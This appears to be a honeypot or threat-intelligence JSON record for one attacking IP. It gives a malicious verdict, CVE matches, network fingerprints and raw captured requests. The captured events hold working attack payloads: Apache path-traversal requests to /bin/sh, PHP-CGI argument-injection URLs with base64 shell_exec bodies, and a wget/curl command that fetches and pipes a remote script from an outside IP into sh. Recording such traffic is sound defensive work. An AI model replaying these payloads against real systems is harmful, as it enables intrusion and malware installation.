{"ip":"185.132.43.9","total_events":19,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"5 exploit-path hits","confidence":"high","network_type":"nsp","why":["5 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 61,131 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"61,131 bytes sent","bytes_sent":61131,"session_seconds":2,"persistent":false}},"first_seen":"2026-09-03T16:11:47","last_seen":"2026-09-10T21:09:38","events_24h":1,"events_7d":18,"geo":{"country_code":"GB","country_name":"United Kingdom","region":"","city":"","lat":51.4964,"lon":-0.1224,"asn":8560,"org":"IONOS SE"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as8560","label":"IONOS SE","category":"isp","url":"https://www.peeringdb.com/asn/8560"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":11},{"port":80,"proto":"tcp","label":"HTTP","count":6},{"port":22,"proto":"tcp","label":"SSH","count":2}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"ja4h":["po11nn0700_765287bee650","ge11nn0700_3161ce9d7233","po11nn0700_3161ce9d7233","po11nn0700_50c3461d4802"]},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":141,"po11nn0700_765287bee650":31,"ge11nn0700_3161ce9d7233":76,"po11nn0700_3161ce9d7233":85,"19532158b559096b89b1a5f7d17175b2":191,"po11nn0700_50c3461d4802":37},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-03","count":1},{"date":"2026-09-06","count":6},{"date":"2026-09-08","count":8},{"date":"2026-09-09","count":3},{"date":"2026-09-10","count":1}],"recent_events":[{"timestamp":"2026-09-10T21:09:38","port":22,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-libssh2_1.11.1\r\n\u0000\u0000\u0005�\u000b\u0014��K�R��l�:�fF�c�\u0000\u0000\u0001hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com\u0000\u0000\u0001fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-256,rsa-sha2-512-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000��5�\u001a+�E��j","payload_hex":"5353482d322e302d6c6962737368325f312e31312e310d0a000005e40b14a4f14bbf5284b56ce63aca6646a863aa00000168637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d736861312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6578742d696e666f2d632c6b65782d7374726963742d632d763030406f70656e7373682e636f6d0000016665636473612d736861322d6e697374703235362c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d736861322d3235362c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7373682d7273612c7373682d7273612d636572742d763031406f70656e7373682e636f6d000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d636263000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d6362630000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d39360000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000ae8435c41a2b8645f7a96a","method":"","user_agent":"","ja3":"","session":"9bfe3baa-e864-4d56-b64b-b24d3f66329b","seq":1,"duration_ms":578,"bytes_in":1536,"bytes_out":12,"enriched":{"digest":"e076887265eeaa2d","label":"SSH","strings":["SSH-2.0-libssh2_1.11.1","hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nis…","fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256…","chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes2…","hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@open…","none"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-09-09T08:26:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f68656c6c6f2e776f726c643f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a203a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a20313139330d0a0d0a3c3f706870207368656c6c5f65786563286261736536345f6465636f64652822593251674c335274634342386643426a5a434176646d46794c335274634342386643426a5a4341765a4756324c334e6f625473675a574e6f6279416e4c5330744c5331435255644a546942505545564f55314e494946425353565a42564555675330565a4c5330744c53304b596a4e4362474a75546e7068517a4679576c6872644752715255464251554642516b6331646d4a745655464251554646596d303564567052515546425155464251554642516b46425155464e6430464251554630656d4d795a3352615677705265553555565868505555464251554e45646d56466443744b64456c57576b6443566b6c69566d7449646d5272646c46785a45317059575a314e53394a545539325a5778494c336c345a304642515570426444684752464a4d5a6b4a52436a42525155464251585236597a4a6e6446705855586c4f56465634543146425155464452485a6c52585172536e524a566c7048516c5a4a596c5a7253485a6b61335a526357524e6157466d6454557653553150646d5673534339356547634b51554642525546794d5864734b7a4e4b5347747151544e6164464230616d5134596b463054465a47627a457a5a566f784d6b46334d6c4675526c68444c326c6c4f5452544d7a52744d47685761316c47565768305631466c4f544a544f51704463444235536e41724e3234345a3363324f545a565a69394d523046425155464452314a7a59327443656c7075556e644255556c45516b465650516f744c5330744c55564f524342505545564f55314e494946425353565a42564555675330565a4c5330744c53306e49443467613256354c6e4277617a73675a574e6f6279416e5533527961574e305347397a6445746c65554e6f5a574e726157356e49473576436c567a5a584a4c626d3933626b68766333527a526d6c735a5341765a4756324c3235316247776e4944346763334e6f59325a6e4f79426a614731765a4341304d444167613256354c6e4277617a736763324e774943314749484e7a61474e6d5a794174615342725a586b756348427249475273636b41794d5463754e6a41754d546b314c6a45784d7a707a61434276645852666332673749476c6d494673674a4438674c57567849444167585473676447686c6269426a614731765a43417265434276645852666332673749484e6f494739316446397a6143426a646d56664d6a41794e4638304e546333494434765a4756324c323531624777674d6a346d4d5473675a57787a5a53416f6432646c644341744c5735764c574e6f5a574e724c574e6c636e52705a6d6c6a5958526c49433178547930676148523063484d364c7938794d5463754e6a41754d546b314c6a45784d79397a614342386643426a64584a734943317a6179426f64485277637a6f764c7a49784e7934324d4334784f5455754d54457a4c334e6f4b53423849484e6f4943317a49474e325a5638794d444930587a51314e7a633749475a704f79427962534174636d596763334e6f59325a6e4947746c65533577634773676233563058334e6f2229293b206563686f286d6435282248656c6c6f204356452d323032342d343537372229293b203f3e","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"41caa0a9-c3ee-4950-9a51-b98f9ce4ceca","seq":3,"duration_ms":401,"bytes_in":2262,"bytes_out":231},{"timestamp":"2026-09-09T08:26:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"113\",\"content-type\":\"text/plain\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"(wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s apache","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f25253332253635252533322536352f25253332253635252533322536352f25253332253635252533322536352f25253332253635252533322536352f25253332253635252533322536352f25253332253635252533322536352f25253332253635252533322536352f62696e2f736820485454502f312e310d0a486f73743a203a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203131330d0a0d0a2877676574202d2d6e6f2d636865636b2d6365727469666963617465202d714f2d2068747470733a2f2f3231372e36302e3139352e3131332f7368207c7c206375726c202d736b2068747470733a2f2f3231372e36302e3139352e3131332f736829207c207368202d7320617061636865","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"41caa0a9-c3ee-4950-9a51-b98f9ce4ceca","seq":2,"duration_ms":275,"bytes_in":783,"bytes_out":154},{"timestamp":"2026-09-09T08:26:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"113\",\"content-type\":\"text/plain\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"(wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s apache","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a486f73743a203a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203131330d0a0d0a2877676574202d2d6e6f2d636865636b2d6365727469666963617465202d714f2d2068747470733a2f2f3231372e36302e3139352e3131332f7368207c7c206375726c202d736b2068747470733a2f2f3231372e36302e3139352e3131332f736829207c207368202d7320617061636865","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"41caa0a9-c3ee-4950-9a51-b98f9ce4ceca","seq":1,"duration_ms":100,"bytes_in":364,"bytes_out":77},{"timestamp":"2026-09-08T08:03:32","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5be29244-472d-465c-88a5-59e996000177","seq":8,"duration_ms":1591,"bytes_in":8437,"bytes_out":616},{"timestamp":"2026-09-08T08:03:32","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068702533612f2f696e70757420485454502f312e310d0a486f73743a203a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a20313139330d0a0d0a3c3f706870207368656c6c5f65786563286261736536345f6465636f64652822593251674c335274634342386643426a5a434176646d46794c335274634342386643426a5a4341765a4756324c334e6f625473675a574e6f6279416e4c5330744c5331435255644a546942505545564f55314e494946425353565a42564555675330565a4c5330744c53304b596a4e4362474a75546e7068517a4679576c6872644752715255464251554642516b6331646d4a745655464251554646596d303564567052515546425155464251554642516b46425155464e6430464251554630656d4d795a3352615677705265553555565868505555464251554e45646d56466443744b64456c57576b6443566b6c69566d7449646d5272646c46785a45317059575a314e53394a545539325a5778494c336c345a304642515570426444684752464a4d5a6b4a52436a42525155464251585236597a4a6e6446705855586c4f56465634543146425155464452485a6c52585172536e524a566c7048516c5a4a596c5a7253485a6b61335a526357524e6157466d6454557653553150646d5673534339356547634b51554642525546794d5864734b7a4e4b5347747151544e6164464230616d5134596b463054465a47627a457a5a566f784d6b46334d6c4675526c68444c326c6c4f5452544d7a52744d47685761316c47565768305631466c4f544a544f51704463444235536e41724e3234345a3363324f545a565a69394d523046425155464452314a7a59327443656c7075556e644255556c45516b465650516f744c5330744c55564f524342505545564f55314e494946425353565a42564555675330565a4c5330744c53306e49443467613256354c6e4277617a73675a574e6f6279416e5533527961574e305347397a6445746c65554e6f5a574e726157356e49473576436c567a5a584a4c626d3933626b68766333527a526d6c735a5341765a4756324c3235316247776e4944346763334e6f59325a6e4f79426a614731765a4341304d444167613256354c6e4277617a736763324e774943314749484e7a61474e6d5a794174615342725a586b756348427249475273636b41794d5463754e6a41754d546b314c6a45784d7a707a61434276645852666332673749476c6d494673674a4438674c57567849444167585473676447686c6269426a614731765a43417265434276645852666332673749484e6f494739316446397a6143426a646d56664d6a41794e4638304e546333494434765a4756324c323531624777674d6a346d4d5473675a57787a5a53416f6432646c644341744c5735764c574e6f5a574e724c574e6c636e52705a6d6c6a5958526c49433178547930676148523063484d364c7938794d5463754e6a41754d546b314c6a45784d79397a614342386643426a64584a734943317a6179426f64485277637a6f764c7a49784e7934324d4334784f5455754d54457a4c334e6f4b53423849484e6f4943317a49474e325a5638794d444930587a51314e7a633749475a704f79427962534174636d596763334e6f59325a6e4947746c65533577634773676233563058334e6f2229293b206563686f286d6435282248656c6c6f204356452d323032342d343537372229293b203f3e","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5be29244-472d-465c-88a5-59e996000177","seq":7,"duration_ms":1326,"bytes_in":8169,"bytes_out":539},{"timestamp":"2026-09-08T08:03:31","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input","summary":"","payload_hex":"504f5354202f746573742e68656c6c6f3f2532354144642b616c6c6f775f75726c5f696e636c756465253344312b2532354144642b6175746f5f70726570656e645f66696c652533447068703a2f2f696e70757420485454502f312e310d0a486f73743a203a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a20313139330d0a0d0a3c3f706870207368656c6c5f65786563286261736536345f6465636f64652822593251674c335274634342386643426a5a434176646d46794c335274634342386643426a5a4341765a4756324c334e6f625473675a574e6f6279416e4c5330744c5331435255644a546942505545564f55314e494946425353565a42564555675330565a4c5330744c53304b596a4e4362474a75546e7068517a4679576c6872644752715255464251554642516b6331646d4a745655464251554646596d303564567052515546425155464251554642516b46425155464e6430464251554630656d4d795a3352615677705265553555565868505555464251554e45646d56466443744b64456c57576b6443566b6c69566d7449646d5272646c46785a45317059575a314e53394a545539325a5778494c336c345a304642515570426444684752464a4d5a6b4a52436a42525155464251585236597a4a6e6446705855586c4f56465634543146425155464452485a6c52585172536e524a566c7048516c5a4a596c5a7253485a6b61335a526357524e6157466d6454557653553150646d5673534339356547634b51554642525546794d5864734b7a4e4b5347747151544e6164464230616d5134596b463054465a47627a457a5a566f784d6b46334d6c4675526c68444c326c6c4f5452544d7a52744d47685761316c47565768305631466c4f544a544f51704463444235536e41724e3234345a3363324f545a565a69394d523046425155464452314a7a59327443656c7075556e644255556c45516b465650516f744c5330744c55564f524342505545564f55314e494946425353565a42564555675330565a4c5330744c53306e49443467613256354c6e4277617a73675a574e6f6279416e5533527961574e305347397a6445746c65554e6f5a574e726157356e49473576436c567a5a584a4c626d3933626b68766333527a526d6c735a5341765a4756324c3235316247776e4944346763334e6f59325a6e4f79426a614731765a4341304d444167613256354c6e4277617a736763324e774943314749484e7a61474e6d5a794174615342725a586b756348427249475273636b41794d5463754e6a41754d546b314c6a45784d7a707a61434276645852666332673749476c6d494673674a4438674c57567849444167585473676447686c6269426a614731765a43417265434276645852666332673749484e6f494739316446397a6143426a646d56664d6a41794e4638304e546333494434765a4756324c323531624777674d6a346d4d5473675a57787a5a53416f6432646c644341744c5735764c574e6f5a574e724c574e6c636e52705a6d6c6a5958526c49433178547930676148523063484d364c7938794d5463754e6a41754d546b314c6a45784d79397a614342386643426a64584a734943317a6179426f64485277637a6f764c7a49784e7934324d4334784f5455754d54457a4c334e6f4b53423849484e6f4943317a49474e325a5638794d444930587a51314e7a633749475a704f79427962534174636d596763334e6f59325a6e4947746c65533577634773676233563058334e6f2229293b206563686f286d6435282248656c6c6f204356452d323032342d343537372229293b203f3e","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5be29244-472d-465c-88a5-59e996000177","seq":6,"duration_ms":1031,"bytes_in":6693,"bytes_out":462},{"timestamp":"2026-09-08T08:03:31","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f2532354144642b616c6c6f775f75726c5f696e636c756465253344312b2532354144642b6175746f5f70726570656e645f66696c652533447068703a2f2f696e70757420485454502f312e310d0a486f73743a203a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a20313139330d0a0d0a3c3f706870207368656c6c5f65786563286261736536345f6465636f64652822593251674c335274634342386643426a5a434176646d46794c335274634342386643426a5a4341765a4756324c334e6f625473675a574e6f6279416e4c5330744c5331435255644a546942505545564f55314e494946425353565a42564555675330565a4c5330744c53304b596a4e4362474a75546e7068517a4679576c6872644752715255464251554642516b6331646d4a745655464251554646596d303564567052515546425155464251554642516b46425155464e6430464251554630656d4d795a3352615677705265553555565868505555464251554e45646d56466443744b64456c57576b6443566b6c69566d7449646d5272646c46785a45317059575a314e53394a545539325a5778494c336c345a304642515570426444684752464a4d5a6b4a52436a42525155464251585236597a4a6e6446705855586c4f56465634543146425155464452485a6c52585172536e524a566c7048516c5a4a596c5a7253485a6b61335a526357524e6157466d6454557653553150646d5673534339356547634b51554642525546794d5864734b7a4e4b5347747151544e6164464230616d5134596b463054465a47627a457a5a566f784d6b46334d6c4675526c68444c326c6c4f5452544d7a52744d47685761316c47565768305631466c4f544a544f51704463444235536e41724e3234345a3363324f545a565a69394d523046425155464452314a7a59327443656c7075556e644255556c45516b465650516f744c5330744c55564f524342505545564f55314e494946425353565a42564555675330565a4c5330744c53306e49443467613256354c6e4277617a73675a574e6f6279416e5533527961574e305347397a6445746c65554e6f5a574e726157356e49473576436c567a5a584a4c626d3933626b68766333527a526d6c735a5341765a4756324c3235316247776e4944346763334e6f59325a6e4f79426a614731765a4341304d444167613256354c6e4277617a736763324e774943314749484e7a61474e6d5a794174615342725a586b756348427249475273636b41794d5463754e6a41754d546b314c6a45784d7a707a61434276645852666332673749476c6d494673674a4438674c57567849444167585473676447686c6269426a614731765a43417265434276645852666332673749484e6f494739316446397a6143426a646d56664d6a41794e4638304e546333494434765a4756324c323531624777674d6a346d4d5473675a57787a5a53416f6432646c644341744c5735764c574e6f5a574e724c574e6c636e52705a6d6c6a5958526c49433178547930676148523063484d364c7938794d5463754e6a41754d546b314c6a45784d79397a614342386643426a64584a734943317a6179426f64485277637a6f764c7a49784e7934324d4334784f5455754d54457a4c334e6f4b53423849484e6f4943317a49474e325a5638794d444930587a51314e7a633749475a704f79427962534174636d596763334e6f59325a6e4947746c65533577634773676233563058334e6f2229293b206563686f286d6435282248656c6c6f204356452d323032342d343537372229293b203f3e","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5be29244-472d-465c-88a5-59e996000177","seq":5,"duration_ms":892,"bytes_in":5211,"bytes_out":385},{"timestamp":"2026-09-08T08:03:31","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f3f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a203a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a20313139330d0a0d0a3c3f706870207368656c6c5f65786563286261736536345f6465636f64652822593251674c335274634342386643426a5a434176646d46794c335274634342386643426a5a4341765a4756324c334e6f625473675a574e6f6279416e4c5330744c5331435255644a546942505545564f55314e494946425353565a42564555675330565a4c5330744c53304b596a4e4362474a75546e7068517a4679576c6872644752715255464251554642516b6331646d4a745655464251554646596d303564567052515546425155464251554642516b46425155464e6430464251554630656d4d795a3352615677705265553555565868505555464251554e45646d56466443744b64456c57576b6443566b6c69566d7449646d5272646c46785a45317059575a314e53394a545539325a5778494c336c345a304642515570426444684752464a4d5a6b4a52436a42525155464251585236597a4a6e6446705855586c4f56465634543146425155464452485a6c52585172536e524a566c7048516c5a4a596c5a7253485a6b61335a526357524e6157466d6454557653553150646d5673534339356547634b51554642525546794d5864734b7a4e4b5347747151544e6164464230616d5134596b463054465a47627a457a5a566f784d6b46334d6c4675526c68444c326c6c4f5452544d7a52744d47685761316c47565768305631466c4f544a544f51704463444235536e41724e3234345a3363324f545a565a69394d523046425155464452314a7a59327443656c7075556e644255556c45516b465650516f744c5330744c55564f524342505545564f55314e494946425353565a42564555675330565a4c5330744c53306e49443467613256354c6e4277617a73675a574e6f6279416e5533527961574e305347397a6445746c65554e6f5a574e726157356e49473576436c567a5a584a4c626d3933626b68766